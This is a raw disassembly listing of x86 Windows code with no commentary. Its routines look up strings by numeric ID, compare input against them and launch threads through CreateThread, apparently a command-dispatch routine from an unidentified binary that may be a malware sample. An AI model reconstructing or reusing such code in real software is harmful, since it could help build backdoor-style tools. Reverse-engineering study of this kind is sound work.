call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x411ab1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x139
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4e4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411b12
test dl, dl
je 0x411b0e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411b12
add eax, 2
add ecx, 2
test dl, dl
jne 0x411af2
xor eax, eax
jmp 0x411b17
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411b91
jmp 0x411b20
push 4
call fcn.00414f9a
add esp, 4
cmp eax, edi
je 0x411b20
push edi
push edi
push eax
push 0x411d40
push edi
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, edi
je 0x411b44
push 0x13b
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x411b70
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x13a
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4e8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411bd1
test dl, dl
je 0x411bcd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411bd1
add eax, 2
add ecx, 2
test dl, dl
jne 0x411bb1
xor eax, eax
jmp 0x411bd6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411c52
lea ebx, [ebx]
push 4
call fcn.00414f9a
add esp, 4
cmp eax, edi
je 0x411be0
push edi
push edi
push eax
push 0x4137b0
push edi
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x411c04
push 0x13b
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x411c31
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
call fcn.004042a0
mov esi, eax
mov eax, dword [esp + 0x10]
push 0x427574
push eax
call fcn.004168b7
mov ebx, eax
add esp, 8
cmp ebx, edi
je 0x411cb7
push ebx
call fcn.00413f1c
add esp, 4
test eax, eax
jne 0x411cae
mov edi, edi
push ebx
push 1
lea ecx, [esp + 0x23]
push 1
push ecx
call fcn.00414261
lea edx, [esp + 0x2b]
push edx
mov edi, 1
call fcn.004042f0
add esp, 0x14
push ebx
call fcn.00413f1c
add esp, 4
test eax, eax
je 0x411c80
push ebx
call fcn.004147bb
add esp, 4
mov eax, dword [esi + 4]
cmp eax, 3
jb 0x411ce3
lea edi, [eax + 4]
push edi
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x411cc2
mov ecx, dword [esi]
mov edx, eax
mov ebx, eax
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x411cd7
jmp 0x411d1a
push 0x41
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x411ce3
push 0x146
mov ebx, edi
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x518]
add esp, 4
sub edi, eax
nop
mov cl, byte [eax]
mov byte [eax + edi], cl
inc eax
test cl, cl
jne 0x411d10
call fcn.004042d0
mov ecx, dword [esp + 0x6d4]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret